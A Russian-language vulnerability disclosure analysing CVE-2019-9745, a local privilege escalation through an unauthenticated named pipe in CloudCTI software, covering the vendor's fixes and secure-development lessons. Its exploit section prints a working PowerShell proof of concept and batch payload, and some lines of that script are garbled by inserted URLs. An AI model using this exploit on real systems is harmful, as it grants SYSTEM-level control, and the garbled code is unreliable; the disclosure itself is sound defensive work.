
Разбор уязвимости CVE-2019-9745.
Творческий подход лежит в основе тестирования на проникновение, что делает нашу работу интересной. Однако одной из ловушек является склонность к «переусложнению» сценариев атак и сосредоточению исключительно на ошибках (условиях ошибок). Дефекты (непредусмотренное поведение) могут присутствовать с не менее разрушительными последствиями. Эта статья представляет собой пример из практики, демонстрирующий важность тестирования на проникновение на предмет таких дефектов. Одновременно она аргументирует необходимость применения процесса SDLC (Secure Development Lifecycle).
Статья является частью RD (ответственного раскрытия) уязвимости CVE-2019-9745 и написана в тесном сотрудничестве с вендором CloudCTI. Она даёт обзор уязвимости высокого уровня перед детальным погружением в технические подробности. После демонстрации эксплуатации уязвимости приводятся выводы и извлечённые уроки.
CloudCTI Recognition Configuration Tool, который мы исследовали во время одного из наших тестов на проникновение, используется для получения информации из CRM-систем (Customer Relationship Management). Это предоставляет персоналу колл-центра соответствующую информацию во время звонков клиентов. Было выявлено несколько проблем, которые можно объединить для полной компрометации локальной системы. Вендор хотел бы подчеркнуть, что это не затрагивает системы других клиентов и их собственные.
Как и в случае со многими уязвимостями безопасности, важная проблема заключается в проверке данных, поступающих из-за пределов вашей сферы влияния. Не менее важно осознание того, что системы и программное обеспечение работают во враждебных средах. Время и опыт научили нас, что перехват является угрозой в интернете. Однако то же самое справедливо и для других каналов связи, даже внутри самой системы. Это сыграло ключевую роль в обнаружении уязвимости.
Анализ первопричин выявленных проблем показывает важность таких практик, как TM (моделирование угроз). TM помогает выявлять риски на ранних стадиях проектирования и разработки. Это может привести к снижению неприемлемых рисков или перепроектированию/переработке. Хотя читателю рекомендуется провести собственный анализ, для справки приведены описания контрмер вендора.
Программное обеспечение вендора состоит из четырёх приложений, работающих вместе. Первое приложение — графический интерфейс пользователя (GUI). Он позволяет пользователю инициировать получение информации из нескольких пакетов CRM-программ:
GUI делегирует получение информации службе (второму приложению) путём отправки сообщения. Первые проблемы безопасности проявляются именно здесь: не только любой пользователь системы может наблюдать сообщения между GUI и службой, чтобы определить их формат и содержимое (влияя на конфиденциальность), но и отправлять собственные сообщения (влияя на авторизацию). Кроме того, источник сообщений для службы не проверяется (влияя на неотказуемость). В терминологии моделирования угроз STRIDE это означает, что система подвержена раскрытию информации и вмешательству. Действительно, информация, извлечённая из этих сообщений, сыграла решающую роль в обнаружении уязвимости.
Третье приложение — один из множества специализированных импортеров. Служба перекладывает получение информации для конкретного пакета CRM на конкретный импортер. Сообщение, отправляемое GUI, содержит конкретные инструкции для этого импортера. При изучении импортера CRM Exquise выясняется, что получение информации дополнительно делегируется внешнему (четвёртому) приложению. При исследовании внутренней логики импортера было обнаружено, что внешнее приложение может быть указано в сообщении между GUI и службой. Проблема, которая здесь проявляется, заключается в том, что внешнее приложение выполняется без проверки его идентичности (влияя на неотказуемость).
Объединив эти проблемы, мы могли перехватывать сообщения для определения их формата и отправлять сообщение, в котором указывали собственное вредоносное внешнее приложение. Это внешнее приложение выполняется с теми же привилегиями, что и импортер/служба. Поскольку эти привилегии являются наивысшими возможными в системе, достигается полный контроль, и система оказывается скомпрометированной.
Эти проблемы устранены вендором путём шифрования сообщений (устраняя проблему конфиденциальности) с использованием уникальных общих секретов (устраняя проблему авторизации), доступ к которым имеют только аутентифицированные системные пользователи, владеющие ими (устраняя первую проблему неотказуемости). Наконец, внешнее приложение криптографически подписано (устраняя вторую проблему неотказуемости). Сочетание этих мер успешно устраняет уязвимость.
Когда приложение GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) установлено, оно исследуется с помощью Process Explorer. Это показывает, что вспомогательная служба (Recognition Update Client Service) устанавливается и выполняется с правами NT AUTHORITY\SYSTEM:
При исследовании исполняемого файла службы (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) становится очевидно, что он разработан с использованием языка программирования .NET. Его можно декомпилировать с помощью dnSpy, чтобы получить представление о его внутренней логике, которая будет подробно описана ниже.
RUCS2017Service (внутреннее пространство имён .NET в исполняемом файле службы) оказывается тонкой обёрткой вокруг пространства имён RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Он определяет сервер именованных каналов (Named Pipe) с именем RUCS20151029 на RUCS2017.dll:RUCS2017.TRUCS2017:902:
Этот сервер именованных каналов запускается на RUCS2017.dll:RUCS2017.TRUCS2017:833:
Следующая однострочная команда Powershell используется для подтверждения того, что этот канал действительно активен в системе:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
С помощью [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) проверяются права доступа к каналу. В результате обнаруживается, что любой системный пользователь (*Everyone*) может читать (*R*) из канала и записывать (*W*) в него:```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
При использовании функции Добавить приложение в графическом интерфейсе (см. Рисунок 01) на именованном канале с помощью IO Ninja наблюдается следующий незашифрованный трафик:
Он содержит следующие данные JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
Обработка сообщений в канале основана на [событиях](https://docs.microsoft.com/en-us/dotnet/standard/events/) и подписывается в конструкторе службы по адресу *RUCS2017.dll:RUCS2017.TRUCS2017:803*:

**<div style="text-align: right">Рисунок 06</div>**
В этой функции JSON сначала десериализуется по адресу *RUCS2017.dll:RUCS2017.TRUCS2017:267*:

**<div style="text-align: right">Рисунок 07</div>**
Конкретная логика обработки структуры JSON-сообщения *WizardGetData* находится по адресу *RUCS2017.dll:RUCS2017.TRUCS2017:315* в ветви перечисления *TFerbCommandType.WizardGetData*:

**<div style="text-align: right">Рисунок 08</div>**
Затем диспетчер задач запускает новый поток по адресу *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614*, передавая разобранную структуру сообщения:

**<div style="text-align: right">Рисунок 09</div>**
*DatasourceType* (для конкретного пакета CRM) динамически загружается по адресу *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:

**<div style="text-align: right">Рисунок 10</div>**
При этом загружается файл *.dll*, указанный в *json.conf:17*:

**<div style="text-align: right">Рисунок 11</div>**
Дальнейшая обработка сообщения затем делегируется плагину *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* по адресу *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Рисунок 10*).
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* является производным от *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). Этот, в свою очередь, является производным от *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). Реализацию метода *GetData* мы находим по адресу *CloudCTI.Datasources.RUS2015.DatasourceBase:133*, который вызывает *initializeDatasource* по адресу *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:

**<div style="text-align: right">Рисунок 12</div>**
Он, в свою очередь, вызывает *DatasourceInitialize* по адресу *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:

**<div style="text-align: right">Рисунок 13</div>**
Сначала JSON-сообщение разбирается по адресу *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:

**<div style="text-align: right">Рисунок 14</div>**
Структура этого сообщения определена в классе *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. Этот класс также содержит свойство *ExporterApplication*, которое представляет для нас большой интерес:

**<div style="text-align: right">Рисунок 15</div>**
По адресу *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (см. *рисунок 14*) проверяется, задано ли свойство *ExporterApplication* в сообщении. Если это не так, используется приложение по умолчанию; в противном случае используется внешнее приложение из сообщения. <span style='color:red'>**Именно здесь проявляется уязвимость**</span>. По адресу *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (см. *Рисунок 14*) вызывается метод *createExportFile*, который запускает ранее определенное внешнее приложение (строка *73*):

**<div style="text-align: right">Рисунок 16</div>**
# Эксплойт #
Поскольку процесс службы (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) работает с правами *NT AUTHORITY\SYSTEM*, он имеет доступ ко **всем** аспектам системы, которые теперь также доступны нам через свойство *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. Когда этот параметр встраивается в сообщение, результатом является следующий JSON-шаблон:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
Путем проб и ошибок оказывается, что ExporterApplication может быть пакетным сценарием, которому не требуется загрузка дополнительных ресурсов и который можно разместить в (пользовательском) каталоге, находящемся под контролем пользователя с более низкими привилегиями. Поскольку все пользователи могут записывать в именованный канал RUCS20151029, для отправки специально сформированного JSON в именованный канал используется следующий PowerShell сценарий:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
Следующий пакетный сценарий указан в JSON-сообщении как внешнее приложение (*ExporterApplication*). В качестве доказательства концепции имя пользователя, который его выполняет, записывается в файл. Конечно, это можно заменить любой командой (последовательностью команд).
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
Когда сообщение отправляется обычным (непривилегированным) пользователем (с помощью CVE-2019-9745.ps1), мы действительно видим, что CVE-2019-9745.bat выполняется с повышенными привилегиями (NT Authority\SYSTEM):
С точки зрения пентеста, проверка на изъяны в (бизнес-)логике системы может потребовать значительных временных затрат. Поскольку большинство пентестов являются тестированием методом чёрного ящика (в отличие от тестирования методом белого ящика), это обычно включает обратную разработку. Тем не менее, как было продемонстрировано, изъяны могут быть столь же разрушительными, как и баги. По этой причине настоятельно рекомендуется двухсторонний подход, проверяющий как баги, так и изъяны.
С точки зрения вендора важно задавать не только вопрос 'как можно использовать наши продукты', но и 'как ими можно злоупотребить'. SDLC (Secure Development Lifecycle) может помочь с управлением рисками на различных этапах жизненного цикла продукта: требования безопасности, архитектура и модель угроз помогают на этапе высокоуровневого и низкоуровневого проектирования. Статический/динамический анализ кода и рецензирование помогают в процессе разработки. Наконец, тестирование на проникновение обеспечивает (независимый) аудит. Конечно, результаты этих процессов должны сопоставляться с аппетитом к риску. С финансовой точки зрения различные исследования (The Business Case for Security in the SDLC) пришли к выводу, что устранение дефектов (связанных с безопасностью) на ранних стадиях жизненного цикла продукта более экономически эффективно, чем их исправление. Это означает, что инвестиции в SDLC могут в долгосрочной перспективе снизить TCO (совокупную стоимость владения).
Объединяя обе перспективы, важно продолжать инвестировать в повышение осведомлённости о безопасности на всех фронтах посредством обучения и просвещения. Это гарантирует, что все стороны будут в курсе как возможностей, так и рисков безопасности в ИТ-сфере, которые быстро развиваются. Таким образом, мы все можем внести вклад в создание более безопасного общества.
Оценка CVSS, которую мы присвоили этой уязвимости, составляет 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).